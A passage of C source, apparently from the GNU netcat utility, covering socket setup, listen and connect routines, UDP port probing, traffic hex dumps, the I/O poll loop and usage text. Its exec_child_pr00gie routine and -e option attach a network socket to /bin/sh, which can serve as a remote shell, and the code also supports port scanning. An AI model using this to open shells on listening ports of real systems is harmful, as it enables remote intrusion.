hex_dump ('>', wrote_out, (char *)buf, n); \ 171 | wrote_out += n; \ 172 | } \ 173 | while(0) 174 | 175 | #define FROM_USER(buf, n) \ 176 | do \ 177 | { \ 178 | debug_msg ("wrote %d to net", n); \ 179 | if (dump_fd != -1) \ 180 | hex_dump ('<', wrote_net, (char *)buf, n); \ 181 | wrote_net += n; \ 182 | } \ 183 | while(0) 184 | 185 | /* support routines -- the bulk of this thing. */ 186 | 187 | void 188 | va_msg (int verbosity, const char *str, va_list ap) 189 | { 190 | if (o_verbose < verbosity) 191 | return; 192 | 193 | #ifndef HAVE_VPRINTF 194 | # ifndef HAVE_DOPRNT 195 | fputs (str, stderr); /* not great, but perhaps better than nothing... */ 196 | # else /* HAVE_DOPRNT */ 197 | _doprnt (str, &ap, stderr); 198 | # endif /* HAVE_DOPRNT */ 199 | #else /* HAVE_VFPRINTF */ 200 | vfprintf (stderr, str, ap); 201 | #endif /* HAVE_VFPRINTF */ 202 | 203 | putc ('\n', stderr); 204 | 205 | /* Check if host-lookup variety of error */ 206 | if (gai_errno && gai_errno != EAI_SYSTEM) 207 | { 208 | fprintf (stderr, "netcat: %s\n", gai_strerror (gai_errno)); 209 | gai_errno = 0; 210 | } 211 | 212 | if (errno) 213 | { 214 | perror ("netcat"); 215 | errno = 0; 216 | } 217 | 218 | fflush (stderr); 219 | } 220 | 221 | void 222 | debug_msg (const char *str, ...) 223 | { 224 | va_list ap; 225 | va_start (ap, str); 226 | va_msg (3, str, ap); 227 | va_end (ap); 228 | } 229 | 230 | void 231 | msg (int verbosity, const char *str, ...) 232 | { 233 | va_list ap; 234 | va_start (ap, str); 235 | va_msg (verbosity, str, ap); 236 | va_end (ap); 237 | } 238 | 239 | void 240 | verbose_msg (const char *str, ...) 241 | { 242 | va_list ap; 243 | va_start (ap, str); 244 | va_msg (1, str, ap); 245 | va_end (ap); 246 | } 247 | 248 | /* bail : 249 | error-exit handler, callable from anywhere */ 250 | void 251 | #ifdef __GNUC__ 252 | __attribute__ ((noreturn)) 253 | #endif 254 | bail (const char *str, ...) 255 | { 256 | va_list ap; 257 | 258 | va_start (ap, str); 259 | va_msg (0, str, ap); 260 | va_end (ap); 261 | 262 | if (sock_fd > -1) 263 | close (sock_fd); 264 | exit (1); 265 | } /* bail */ 266 | 267 | /* write_byte_counts: 268 | called on exit, but outputs only if very verbose */ 269 | void 270 | write_byte_counts () 271 | { 272 | errno = 0; 273 | if (wrote_net || wrote_out) 274 | msg (2, "sent %d, rcvd %d", wrote_net, wrote_out); 275 | } 276 | 277 | /* timeout and other signal handling cruft */ 278 | RETSIGTYPE 279 | timeout_handler (int sig) 280 | { 281 | signal (sig, SIG_IGN); 282 | alarm (0); 283 | errno = ETIMEDOUT; /* fake it */ 284 | siglongjmp (jbuf, 1); 285 | } 286 | 287 | /* set_timeout : 288 | set the timer. Zero secs arg means reset */ 289 | void 290 | set_timeout (int secs) 291 | { 292 | if (secs == 0) 293 | /* reset */ 294 | signal (SIGALRM, SIG_IGN); 295 | else 296 | signal (SIGALRM, timeout_handler); 297 | 298 | alarm (secs); 299 | } /* set_timeout */ 300 | 301 | /* find_nl : 302 | find the next newline in a buffer; return inclusive size of that "line", 303 | or the entire buffer size, so the caller knows how much to then write(). */ 304 | int 305 | find_nl (char *buf, int n) 306 | { 307 | char *p; 308 | int x; 309 | 310 | for (p = buf, x = n; x > 0; x--, p++) 311 | if (*p == '\n') 312 | { 313 | debug_msg ("find_nl returning %d", p - buf + 1); 314 | return (p - buf + 1); 315 | } 316 | 317 | debug_msg ("find_nl returning whole thing: %d", n); 318 | return (n); 319 | } 320 | 321 | /* make_port_block : 322 | make a list of possibly randomized ports, from LO to HI. */ 323 | unsigned short * 324 | make_port_block (int lo, int hi) 325 | { 326 | unsigned short x, y, c; 327 | unsigned short *block; 328 | 329 | block = (unsigned short *) malloc (sizeof (short) * (hi - lo + 1)); 330 | 331 | if (!block) 332 | bail ("malloc for %d ports failed", hi - lo + 1); 333 | 334 | /* This is actually a hack; since ports are tested downwards, we also 335 | fill the array downwards. */ 336 | for (x = lo; x <= hi; x++) 337 | block[hi - x] = x; 338 | 339 | /* Swap 'em randomly. */ 340 | if (o_random) 341 | for (x = lo; x < hi; x++) 342 | { 343 | y = random () % (hi - x + 1); 344 | c = block[x - lo]; 345 | block[x - lo] = block[x - lo + y]; 346 | block[x - lo + y] = c; 347 | } 348 | 349 | return block; 350 | } 351 | 352 | /* exec_child_pr00gie : 353 | fiddle all the file descriptors around, and hand off to another prog. Sort 354 | of like a one-off "poor man's inetd". This is the only section of code 355 | that would be security-critical: use at your own hairy risk, if you leave 356 | shells lying around behind open listening ports you deserve to lose!! */ 357 | void 358 | #ifdef __GNUC__ 359 | __attribute__ ((noreturn)) 360 | #endif 361 | exec_child_pr00gie (char *pr00gie, int shell) 362 | { 363 | char *p; 364 | 365 | /* the precise order of fiddlage seems to be crucial; this is swiped 366 | directly out of "inetd". */ 367 | dup2 (sock_fd, 0); 368 | close (sock_fd); 369 | dup2 (0, 1); 370 | dup2 (0, 2); 371 | sock_fd = 0; 372 | 373 | if (shell) 374 | { 375 | debug_msg ("gonna exec %s using /bin/sh...", pr00gie); 376 | execl ("/bin/sh", "sh", "-c", pr00gie, NULL); 377 | } 378 | else 379 | { 380 | /* Prepare a shorter argv[0] */ 381 | p = strrchr (pr00gie, '/'); 382 | if (p) 383 | p++; 384 | else 385 | p = pr00gie; 386 | 387 | debug_msg ("gonna exec %s as %s...", pr00gie, p); 388 | execl (pr00gie, p, NULL); 389 | } 390 | 391 | bail ("failed to exec %s", pr00gie); 392 | } 393 | 394 | /* bind_socket : 395 | do all the socket stuff, and return an fd for one of 396 | an open outbound TCP connection 397 | a UDP stub-socket thingie 398 | with appropriate socket options set up if we wanted source-routing, or 399 | an unconnected TCP or UDP socket to listen on. 400 | Examines various global o_blah flags to figure out what-all to do. */ 401 | int 402 | bind_socket (char *local_addr, char *local_port, int proto) 403 | { 404 | struct addrinfo *wherefrom; 405 | int fd; 406 | int rc; 407 | int x; 408 | 409 | if (!local_addr && gai_hints.ai_family == AF_UNSPEC) 410 | gai_hints.ai_family = AF_INET; 411 | 412 | gai_hints.ai_socktype = proto == IPPROTO_UDP ? SOCK_DGRAM : SOCK_STREAM; 413 | gai_hints.ai_protocol = 0; 414 | gai_hints.ai_flags |= AI_PASSIVE; 415 | 416 | if (local_addr || local_port) 417 | { 418 | if ((gai_errno = 419 | getaddrinfo (local_addr, local_port, &gai_hints, &wherefrom))) 420 | bail ("cannot resolve %s:%s", ADDR_STRING (local_addr), 421 | ADDR_STRING (local_port)); 422 | else 423 | errno = 0; 424 | } 425 | else 426 | wherefrom = &gai_hints; 427 | 428 | /* grab a socket; set opts. */ 429 | errno = 0; 430 | fd = socket (wherefrom->ai_family, wherefrom->ai_socktype, 0); 431 | if (fd < 0) 432 | bail ("Can't get socket"); 433 | 434 | x = 1; 435 | rc = setsockopt (fd, SOL_SOCKET, SO_REUSEPORT, &x, sizeof (x)); 436 | if (rc == -1) 437 | verbose_msg ("failed to set SO_REUSEPORT"); 438 | 439 | if (proto == IPPROTO_TCP) 440 | { 441 | rc = setsockopt (fd, SOL_SOCKET, SO_OOBINLINE, &x, sizeof (x)); 442 | if (rc == -1) 443 | verbose_msg ("failed to set SO_OOBINLINE"); 444 | } 445 | else 446 | { 447 | rc = setsockopt (fd, SOL_SOCKET, SO_BROADCAST, &o_broadcast, sizeof (o_broadcast)); 448 | if (rc == -1) 449 | verbose_msg ("failed to %s SO_BROADCAST", o_broadcast ? "set" : "reset"); 450 | } 451 | 452 | #if 0 453 | /* If you want to screw with RCVBUF/SNDBUF, do it here. Liudvikas Bukys at 454 | Rochester sent this example, which would involve YET MORE options and is 455 | just archived here in case you want to mess with it. o_xxxbuf are global 456 | integers set in main() getopt loop, and check for rc == 0 afterward. */ 457 | rc = setsockopt (fd, SOL_SOCKET, SO_RCVBUF, &o_rcvbuf, sizeof o_rcvbuf); 458 | rc = setsockopt (fd, SOL_SOCKET, SO_SNDBUF, &o_sndbuf, sizeof o_sndbuf); 459 | #endif 460 | 461 | rc = 0; 462 | if (local_addr || local_port) 463 | { 464 | errno = 0; 465 | rc = bind (fd, wherefrom->ai_addr, wherefrom->ai_addrlen); 466 | if (rc >= 0) 467 | verbose_msg ("local address %s:%s open", ADDR_STRING (local_addr), 468 | ADDR_STRING (local_port)); 469 | 470 | freeaddrinfo (wherefrom); 471 | } 472 | 473 | if (rc < 0) 474 | bail ("Can't grab %s:%s with bind", ADDR_STRING (local_addr), 475 | ADDR_STRING (local_port)); 476 | 477 | return (fd); 478 | } 479 | 480 | void 481 | get_sock_name (struct sockaddr *sa, int salen, char *host, char *serv, 482 | char *name, char *default_name, char *default_serv) 483 | { 484 | int flags = o_proto == IPPROTO_UDP ? NI_DGRAM : 0; 485 | 486 | gai_errno = getnameinfo (sa, salen, host, NI_MAXHOST, serv, NI_MAXSERV, 487 | flags | NI_NUMERICSERV | NI_NUMERICHOST); 488 | errno = 0; 489 | if (gai_errno) 490 | { 491 | strcpy (host, ADDR_STRING (default_name)); 492 | strcpy (serv, ADDR_STRING (default_serv)); 493 | } 494 | 495 | /* IPv6 host addresses are printed in brackets when they are followed by 496 | a port -- which is always true in netcat. */ 497 | if (strchr (host, ':')) 498 | { 499 | int len = strlen (host); 500 | memmove (host + 1, host, len + 1); 501 | host[0] = '['; 502 | host[len+1] = ']'; 503 | host[len+2] = '\0'; 504 | } 505 | 506 | if (name && !o_numeric) 507 | { 508 | gai_errno = getnameinfo (sa, salen, name, NI_MAXHOST, NULL, 0, 509 | flags | NI_NAMEREQD); 510 | if (gai_errno) 511 | strcpy (name, ADDR_STRING (default_name)); 512 | } 513 | errno = gai_errno = 0; 514 | } 515 | 516 | /* connect_socket : 517 | do all the socket stuff, and return an fd for one of 518 | an open outbound TCP connection 519 | a UDP stub-socket thingie 520 | with appropriate socket options set up if we wanted source-routing, or 521 | an unconnected TCP or UDP socket to listen on. 522 | Examines various global o_blah flags to figure out what-all to do. */ 523 | int 524 | connect_socket (char *remote_addr, char *remote_port, 525 | char *local_addr, char *local_port, int proto) 526 | { 527 | char host[NI_MAXHOST+1], serv[NI_MAXSERV+1], remote_host_name[NI_MAXHOST+1]; 528 | struct addrinfo *whereto; 529 | struct sockaddr sai_remote; 530 | int fd, rc; 531 | socklen_t x; 532 | errno = 0; 533 | 534 | gai_hints.ai_socktype = proto == IPPROTO_UDP ? SOCK_DGRAM : SOCK_STREAM; 535 | gai_hints.ai_protocol = proto; 536 | gai_hints.ai_flags &= ~AI_PASSIVE; 537 | 538 | /* Do our getaddrinfo before opening the socket, so that ai_family is 539 | set to AF_INET6 if necessary. */ 540 | if ((gai_errno = 541 | getaddrinfo (remote_addr, remote_port, &gai_hints, &whereto))) 542 | bail ("cannot resolve %s:%s", ADDR_STRING (remote_addr), 543 | ADDR_STRING (remote_port)); 544 | else 545 | errno = 0; 546 | 547 | /* grab a socket; set opts. */ 548 | rc = fd = bind_socket (local_addr, local_port, proto); 549 | if (fd >= 0) 550 | { 551 | /* wrap connect inside a timer, and hit it */ 552 | if (sigsetjmp (jbuf, 1) == 0) 553 | { 554 | set_timeout (o_wait); 555 | rc = connect (fd, whereto->ai_addr, whereto->ai_addrlen); 556 | } 557 | else 558 | rc = -1; 559 | 560 | set_timeout (0); 561 | } 562 | 563 | if (rc < 0 || 564 | (o_nostdin && proto == IPPROTO_UDP && !test_udp_port (fd, remote_addr))) 565 | { 566 | /* Clean up junked socket FD!! */ 567 | if (fd >= 0) 568 | close (fd); 569 | fd = -1; 570 | sai_remote = *whereto->ai_addr; 571 | x = whereto->ai_addrlen; 572 | } 573 | else 574 | { 575 | x = sizeof (struct sockaddr); 576 | rc = getpeername (fd, (struct sockaddr *) &sai_remote, &x); 577 | if (rc < 0) 578 | bail ("cannot retrieve peer socket address"); 579 | } 580 | 581 | get_sock_name (&sai_remote, x, host, serv, remote_host_name, 582 | remote_addr, remote_port); 583 | 584 | if (fd == -1) 585 | { 586 | /* if we're scanning at a "one -v" verbosity level, don't print refusals. 587 | Give it another -v if you want to see everything. But if we're not 588 | scanning, we always want an error to be printed for refused connects. */ 589 | int level = !port_scan || errno != ECONNREFUSED ? 0 : 2; 590 | if (o_numeric) 591 | msg (level, "cannot connect to %s:%s", host, serv); 592 | else 593 | msg (level, "cannot connect to %s:%s (%s)", host, serv, 594 | remote_host_name); 595 | } 596 | else 597 | { 598 | if (o_numeric) 599 | verbose_msg ("%s:%s open", host, serv); 600 | else 601 | verbose_msg ("%s:%s (%s) open", host, serv, remote_host_name); 602 | } 603 | 604 | freeaddrinfo (whereto); 605 | return (fd); 606 | } 607 | 608 | /* connect_server_socket : 609 | just like connect_socket, and in fact both call bind_socket, but listens for 610 | incoming and returns an open connection *from* someplace. If we were 611 | given host/port args, any connections from elsewhere are rejected. This 612 | in conjunction with local-address binding should limit things nicely... */ 613 | int 614 | connect_server_socket (char *remote_addr, char *remote_port, 615 | char *local_addr, char *local_port, int proto) 616 | { 617 | struct addrinfo *whereto; 618 | struct sockaddr sai_remote, sai_local; 619 | char remote_host[NI_MAXHOST+1], remote_serv[NI_MAXSERV+1]; 620 | char remote_host_name[NI_MAXHOST+1]; 621 | char host[NI_MAXHOST+1], serv[NI_MAXSERV+1], local_host_name[NI_MAXHOST+1]; 622 | 623 | int fd; 624 | int rc = 0; 625 | socklen_t x; 626 | 627 | errno = 0; 628 | 629 | /* Pass everything off to bind_socket */ 630 | if ((fd = bind_socket (local_addr, local_port, proto)) < 0) 631 | return (fd); 632 | 633 | gai_hints.ai_socktype = proto == IPPROTO_UDP ? SOCK_DGRAM : SOCK_STREAM; 634 | gai_hints.ai_protocol = proto; 635 | gai_hints.ai_flags &= ~AI_PASSIVE; 636 | 637 | if (proto == IPPROTO_UDP) 638 | { 639 | if (!local_port) 640 | bail ("UDP listen needs -p arg"); 641 | } 642 | else 643 | { 644 | rc = listen (fd, 1); 645 | if (rc < 0) 646 | bail ("cannot open passive socket"); 647 | } 648 | 649 | if (o_verbose || !local_port) 650 | { 651 | x = sizeof (struct sockaddr); 652 | rc = getsockname (fd, (struct sockaddr *) &sai_local, &x); 653 | if (rc < 0) 654 | verbose_msg ("local getsockname failed"); 655 | else 656 | { 657 | get_sock_name (&sai_local, x, host, serv, NULL, 658 | ADDR_STRING (local_addr), ADDR_STRING (local_port)); 659 | errno = 0; 660 | verbose_msg ("listening on %s:%s...", host, serv); 661 | } 662 | } 663 | 664 | if (remote_addr || remote_port) 665 | { 666 | if ((gai_errno = 667 | getaddrinfo (remote_addr, remote_port, &gai_hints, &whereto))) 668 | bail ("cannot resolve %s:%s", ADDR_STRING (remote_addr), 669 | ADDR_STRING (remote_port)); 670 | else 671 | errno = 0; 672 | 673 | if (proto == IPPROTO_UDP) 674 | rc = connect (fd, whereto->ai_addr, whereto->ai_addrlen); 675 | } 676 | else 677 | { 678 | /* UDP is a speeeeecial case -- we have to do I/O *and* get the calling 679 | party's particulars, listen() and accept() don't apply. However, 680 | recvfrom/PEEK is enough to tell us something came in, and we can set 681 | things up so straight read/write actually does work after all. Yow. */ 682 | if (proto == IPPROTO_UDP) 683 | { 684 | struct sockaddr whozis; 685 | socklen_t x; 686 | 687 | /* Do timeout for initial connect */ 688 | if (sigsetjmp (jbuf, 1) == 0) 689 | { 690 | char small_buf[32]; 691 | set_timeout (o_wait); 692 | 693 | /* Prepare return value for recvfrom */ 694 | x = sizeof (whozis); 695 | rc = recvfrom (fd, small_buf, 32, MSG_PEEK, &whozis, &x); 696 | debug_msg ("connect_server_socket: recvfrom/connect, read %d bytes", rc); 697 | } 698 | else 699 | bail ("no connection"); 700 | 701 | set_timeout (0); 702 | rc = connect (fd, &whozis, x); 703 | } 704 | } 705 | 706 | if (proto == IPPROTO_TCP) 707 | { 708 | /* Fall here for TCP. */ 709 | 710 | /* Prepare parameters and return value for accept. */ 711 | if (remote_addr || remote_port) 712 | { 713 | x = whereto->ai_addrlen; 714 | sai_remote = *whereto->ai_addr; 715 | } 716 | else 717 | { 718 | x = sizeof (sai_remote); 719 | memset (&sai_remote, 0, x); 720 | } 721 | 722 | if (sigsetjmp (jbuf, 1) == 0) 723 | { 724 | /* Wrap this in a timer, too. */ 725 | set_timeout (o_wait); 726 | rc = accept (fd, (struct sockaddr *) &sai_remote, &x); 727 | } 728 | else 729 | bail ("no connection"); 730 | 731 | set_timeout (0); 732 | 733 | /* Dump the old socket, here's our new one. */ 734 | close (fd); 735 | fd = rc; 736 | } 737 | 738 | if (rc < 0) 739 | bail ("no connection"); /* bail out if any errors so far */ 740 | 741 | /* find out what address the connection was *to* on our end, in case we're 742 | doing a listen-on-any on a multihomed machine. This allows one to 743 | offer different services via different alias addresses, such as with 744 | FTP virtual hosts. */ 745 | x = sizeof (struct sockaddr); 746 | rc = getpeername (fd, (struct sockaddr *) &sai_remote, &x); 747 | if (rc < 0) 748 | verbose_msg ("getpeername on active socket failed"); 749 | get_sock_name (&sai_remote, x, remote_host, remote_serv, remote_host_name, 750 | remote_addr, remote_port); 751 | 752 | x = sizeof (struct sockaddr); 753 | rc = getsockname (fd, (struct sockaddr *) &sai_local, &x); 754 | if (rc < 0) 755 | verbose_msg ("getsockname on active socket failed"); 756 | get_sock_name (&sai_local, x, host, serv, local_host_name, 757 | local_addr, local_port); 758 | 759 | if (o_numeric) 760 | verbose_msg ("connect to %s:%s from %s:%s", 761 | remote_host, remote_serv, host, serv); 762 | else 763 | verbose_msg ("connect to %s:%s (%s) from %s:%s (%s)", 764 | remote_host, remote_serv, remote_host_name, 765 | host, serv, local_host_name); 766 | 767 | if (remote_addr || remote_port) 768 | freeaddrinfo (whereto); 769 | 770 | return (fd); 771 | } 772 | 773 | /* test_udp_port : 774 | fire a couple of packets at a UDP target port, just to see if it's really 775 | there. On BSD kernels, ICMP host/port-unreachable errors get delivered to 776 | our socket as ECONNREFUSED write errors. On SV kernels, we lose; we'll have 777 | to collect and analyze raw ICMP ourselves a la satan's probe_udp_ports 778 | backend. Guess where one could swipe the appropriate code from... 779 | 780 | Use the time delay between writes if given, otherwise use the "tcp ping" 781 | trick for getting the RTT. [I got that idea from pluvius, and warped it.] 782 | Return either the original fd, or clean up and return -1. */ 783 | int 784 | test_udp_port (int fd, char *host) 785 | { 786 | int rc; 787 | char c = 0; 788 | 789 | rc = write (fd, &c, 1); 790 | if (rc != 1) 791 | verbose_msg ("test_udp_port first write failed"); 792 | if (o_wait) 793 | sleep (o_wait); 794 | else 795 | { 796 | /* use the tcp-ping trick: try connecting to a normally refused port, which 797 | causes us to block for the time that SYN gets there and RST gets back. 798 | Not completely reliable, but it *does* mostly work. */ 799 | 800 | /* Set a temporary connect timeout, so packet filtration doesnt cause 801 | us to hang forever, and hit it */ 802 | o_wait = 5; 803 | rc = connect_socket (host, SLEAZE_PORT, 0, 0, IPPROTO_TCP); 804 | o_wait = 0; 805 | 806 | /* Close if it *did* open. */ 807 | if (rc > 0) 808 | close (rc); 809 | } 810 | 811 | errno = 0; 812 | rc = write (fd, &c, 1); 813 | return (rc == 1) ? fd : -1; 814 | } 815 | 816 | /* hex_dump : 817 | Hexdump bytes shoveled either way to a running logfile, in the format: 818 | D offset - - - - --- 16 bytes --- - - - - # .... ascii ..... 819 | where "dir" sets the direction indicator, D: 820 | and "buf" and "n" are data-block and length. If the current block generates 821 | a partial line, so be it; we *want* that lockstep indication of who sent 822 | what when. Adapted from dgaudet's original example -- but must be ripping 823 | *fast*, since we don't want to be too disk-bound... */ 824 | void 825 | hex_dump (char dir, int obc, char *buf, int bc) 826 | { 827 | static char hexnibs[] = "0123456789abcdef"; 828 | static char stage[100]; /* line buffer */ 829 | 830 | char *op; /* out hex-dump ptr */ 831 | char *a; /* out asc-dump ptr */ 832 | int x; 833 | 834 | stage[0] = dir; 835 | stage[1] = ' '; 836 | stage[10] = ' '; 837 | stage[59] = '|'; 838 | stage[60] = ' '; 839 | 840 | while (bc > 0) 841 | { 842 | /* write address */ 843 | for (x = 0, op = &stage[9]; x < 8 * sizeof (obc); x += 4) 844 | *op-- = hexnibs[(int) ((obc >> x) & 0x0f)]; 845 | 846 | /* write data */ 847 | for (x = 16, op = &stage[11], a = &stage[61]; 848 | bc && x; bc--, x--, buf++, obc++) 849 | { 850 | unsigned char ch = *buf; 851 | *op++ = hexnibs[ch >> 4]; 852 | *op++ = hexnibs[ch & 15]; 853 | *op++ = ' '; 854 | *a++ = ((*buf >= ' ') && (*buf < 127)) ? *buf : '.'; 855 | } 856 | 857 | /* write filler spaces */ 858 | while (x--) 859 | { 860 | *op++ = ' '; 861 | *op++ = ' '; 862 | *op++ = ' '; 863 | } 864 | 865 | *a = '\n'; 866 | x = write (dump_fd, stage, a + 1 - stage); 867 | if (x < 0) 868 | bail ("dump_fd write err"); 869 | } 870 | } 871 | 872 | /* answer_telnet_negotiation : 873 | Answer anything that looks like telnet negotiation with don't/won't. 874 | This doesn't modify any data buffers -- it just puts that onto 875 | the outgoing stream. Idea and codebase from Mudge@l0pht.com. */ 876 | int 877 | answer_telnet_negotiation (char *buf, int size) 878 | { 879 | unsigned char *p, *end, *dest; 880 | 881 | dest = p = memchr (buf, IAC, size); 882 | if (!p) 883 | return size; 884 | 885 | for (end = (unsigned char *) buf + size; p < end;) 886 | { 887 | if (*p != IAC) /* check for TIAC */ 888 | { 889 | *dest++ = *p++; 890 | continue; 891 | } 892 | 893 | FROM_NET (p, 3); 894 | 895 | if ((p[1] == WILL) || (p[1] == WONT)) 896 | p[1] = DONT; 897 | else if ((p[1] == DO) || (p[1] == DONT)) 898 | p[1] = WONT; 899 | else 900 | continue; 901 | 902 | FROM_USER (p, 3); 903 | 904 | write (sock_fd, p, 3); 905 | p += 3; 906 | } 907 | 908 | return dest - (unsigned char *)buf; 909 | } 910 | 911 | /* socket_loop : 912 | handle stdin/stdout/network I/O. Bwahaha!! -- the poll loop from hell. 913 | In this instance, return what might become our exit status. */ 914 | int 915 | socket_loop () 916 | { 917 | static char buf_stdin[BUF_SIZE]; /* data buffers */ 918 | static char buf_socket[BUF_SIZE]; 919 | static int saved_count = 0; /* stdin-buffer size for multi-mode */ 920 | 921 | char *out_p = buf_stdin; /* stdin buf ptr */ 922 | char *in_p = buf_socket; /* net-in buf ptr */ 923 | unsigned int outgoing = 0; 924 | unsigned int incoming = 0; 925 | 926 | struct pollfd pfd[2]; /* for poll loop */ 927 | int rc; 928 | 929 | /* Setup network fd */ 930 | pfd[0].fd = sock_fd; 931 | pfd[0].events = POLLIN; 932 | 933 | /* Setup stdin fd */ 934 | pfd[1].fd = 0; 935 | pfd[1].events = POLLIN; 936 | 937 | /* clear from sleep, close, whatever */ 938 | errno = 0; 939 | 940 | /* and now the big ol' poll loop ... */ 941 | while (1) 942 | { /* i.e. till the *net* closes! */ 943 | pfd[0].revents = 0; 944 | pfd[1].revents = 0; 945 | 946 | if (out_p == buf_stdin && saved_count) 947 | { 948 | /* We are at the beginning of a fake stdin; disable reading further 949 | stdin junk from stdin and use no timeout because we do have something 950 | to send. */ 951 | pfd[1].fd = -1; 952 | outgoing = saved_count; 953 | rc = poll (pfd, 1, 0); 954 | } 955 | else 956 | rc = poll (pfd, 2, o_wait ? o_wait * 1000 : -1); 957 | 958 | /* Always check for errors */ 959 | if (rc < 0 && errno != EINTR) 960 | { 961 | verbose_msg ("error in poll"); 962 | close (sock_fd); 963 | sock_fd = -1; 964 | return (-1); 965 | } 966 | 967 | /* if we have a timeout and we haven't heard anything during that 968 | time, assume the net is dead and be done with it. But it is not 969 | an error. */ 970 | if (rc == 0) 971 | { 972 | msg (2, "net timeout"); 973 | break; 974 | } 975 | 976 | /* if o_interval is set, or if we're scanning, there's already stuff in the 977 | stdin buffer, so don't read unless we really need more input. 978 | 979 | Note: if scanning, then pfd[1].revents will always be zero, so we never 980 | read anymore after being done with the first port! */ 981 | if (!outgoing 982 | && (pfd[1].revents & (POLLIN | POLLERR)) == POLLIN) 983 | { 984 | debug_msg ("reading from stdin up to %d bytes", buf_stdin + BUF_SIZE - out_p); 985 | outgoing = read (0, out_p, buf_stdin + BUF_SIZE - out_p); 986 | 987 | /* special case for multi-mode -- we'll want to send this one buffer to 988 | every open TCP port or every UDP attempt, so save its size */ 989 | if (port_scan) 990 | saved_count += outgoing; 991 | } 992 | 993 | /* If there was an error, or if we did not read anything, shut down this 994 | side of the socket, and possibly quit depending on the -q option. */ 995 | if ((pfd[1].revents & (POLLIN | POLLERR | POLLHUP)) && !outgoing) 996 | { 997 | pfd[1].fd = -1; 998 | shutdown (sock_fd, 1); 999 | if (o_quit >= 0) 1000 | { 1001 | if (o_quit > 0 && sigsetjmp (jbuf, 1) == 0) 1002 | set_timeout (o_quit); 1003 | else 1004 | /* Timeout, or user asked to die now! */ 1005 | break; 1006 | } 1007 | } 1008 | 1009 | /* Considered making reads here smaller for UDP mode, but 8192-byte 1010 | datagrams are kinda fun and exercise the reassembler. */ 1011 | if (!incoming 1012 | && (pfd[0].revents & (POLLIN | POLLERR)) == POLLIN) 1013 | { 1014 | debug_msg ("reading from net up to %d bytes", buf_socket + BUF_SIZE - in_p); 1015 | incoming = read (sock_fd, in_p, buf_socket + BUF_SIZE - in_p); 1016 | } 1017 | 1018 | /* If there was an error, or if we did not read anything, quit. */ 1019 | if ((pfd[0].revents & (POLLIN | POLLERR | POLLHUP)) && !incoming) 1020 | break; 1021 | 1022 | /* If requested, fake telnet stuff */ 1023 | if (o_telnet && incoming) 1024 | incoming = answer_telnet_negotiation (in_p, incoming); 1025 | 1026 | /* now that we've dingdonged all our thingdings, send off the data. */ 1027 | do 1028 | { 1029 | /* Not sure if the order of this matters, but write net -> stdout first. */ 1030 | rc = incoming ? write (1, in_p, incoming) : 0; 1031 | if (rc < 0) 1032 | break; 1033 | 1034 | if (rc > 0) 1035 | { 1036 | FROM_NET (in_p, rc); 1037 | in_p += rc; 1038 | incoming -= rc; 1039 | } 1040 | 1041 | /* Write one line, or the whole buffer */ 1042 | rc = outgoing && o_interval != -1 ? find_nl (out_p, outgoing) : outgoing; 1043 | rc = outgoing ? write (sock_fd, out_p, rc) : 0; 1044 | if (rc < 0) 1045 | break; 1046 | 1047 | if (rc > 0) 1048 | { 1049 | FROM_USER (out_p, rc); 1050 | out_p += rc; 1051 | outgoing -= rc; 1052 | 1053 | /* Sleep between slow lines */ 1054 | if (o_interval > 0) 1055 | { 1056 | sleep (o_interval); 1057 | errno = 0; 1058 | break; 1059 | } 1060 | } 1061 | } 1062 | /* process bytes till there ain't none left */ 1063 | while ((outgoing && o_interval == -1) || incoming); 1064 | 1065 | /* before shoveling some more, reset the pointers. For multiplexing, 1066 | keep the input safe please. */ 1067 | in_p = buf_socket; 1068 | if (!port_scan) 1069 | out_p = buf_stdin; 1070 | } 1071 | 1072 | /* Now close it. */ 1073 | close (sock_fd); 1074 | sock_fd = -1; 1075 | return (0); 1076 | } 1077 | 1078 | /* usage : 1079 | the obvious */ 1080 | void 1081 | usage (int exit_code) 1082 | { 1083 | fprintf (exit_code ? stderr : stdout, "%s %s\n\ 1084 | connect to somewhere: nc [-options] hostname port(s)... \n\ 1085 | listen for inbound: nc -l [-options] [hostname [port]]\n\ 1086 | options:\n\ 1087 | -4 use IPv4 addresses\n\ 1088 | -6 use IPv6 addresses\n\ 1089 | -b allow broadcasts\n\ 1090 | -ePROG program to exec after establishing connection\n\ 1091 | -h this cruft\n\ 1092 | -i[SECS] delay interval for lines sent and ports scanned\n\ 1093 | -l listen mode, for inbound connects\n\ 1094 | -n numeric-only IP addresses, no DNS\n\ 1095 | -oFILE hex dump of traffic\n\ 1096 | -pPORT local port number (useful when listening)\n\ 1097 | -q[SECS] quit SECS after EOF on stdin\n\ 1098 | -r randomize local and remote ports\n\ 1099 | -sADDR local source address\n\ 1100 | -t answer Telnet negotiation\n\ 1101 | -u UDP mode\n\ 1102 | -v verbose [repeat to be more verbose]\n\ 1103 | -wSECS timeout for connects and final net reads\n\ 1104 | -z zero-I/O mode [used for scanning]\n\ 1105 | \n\ 1106 | When connecting, port numbers can be individual or inclusive ranges\n\ 1107 | in the form LO-HI\n", PACKAGE, VERSION); 1108 | exit (exit_code); 1109 | } 1110 | 1111 | /* main : 1112 | now we pull it all together... */ 1113 | int 1114 | main (int argc, char **argv) 1115 | { 1116 | #ifndef HAVE_GETOPT_H 1117 | extern char *optarg; 1118 | extern int optind, optopt; 1119 | #endif 1120 | 1121 | char *cp; 1122 | int x, port_count; 1123 | unsigned short *port_list; 1124 | char *local_addr = NULL; 1125 | char *remote_addr = NULL; 1126 | char *local_port = NULL; 1127 | char *remote_port = NULL; 1128 | char local_port_buf[10]; 1129 | char remote_port_buf[10]; 1130 | int o_pr00gie_shell = 0; /* ptr to -e arg */ 1131 | char *o_pr00gie = NULL; /* ptr to -e arg */ 1132 | char *o_wfile = NULL; /* ptr to -o arg */ 1133 | int o_listen = 0; 1134 | char *o_lport = NULL; 1135 | 1136 | gai_hints.ai_family = AF_UNSPEC; 1137 | srandom (time (0)); 1138 | atexit (write_byte_counts); 1139 | signal (SIGPIPE, SIG_IGN); 1140 | errno = 0; 1141 | 1142 | /* if no args given at all, get 'em from stdin, construct an argv, and treat 1143 | anything left over as ports. */ 1144 | if (argc == 1) 1145 | usage (1); /* exits by itself */ 1146 | 1147 | /* optarg, optind = next-argv-component [i.e. flag arg]; optopt = last-char */ 1148 | while ((x = getopt (argc, argv, "46bc:e:hi::lno:p:q::rs:tuvw:z")) != EOF) 1149 | { 1150 | switch (x) 1151 | { 1152 | case '4': /* broadcast mode */ 1153 | gai_hints.ai_family = AF_INET; 1154 | break; 1155 | case '6': /* broadcast mode */ 1156 | gai_hints.ai_family = AF_INET6; 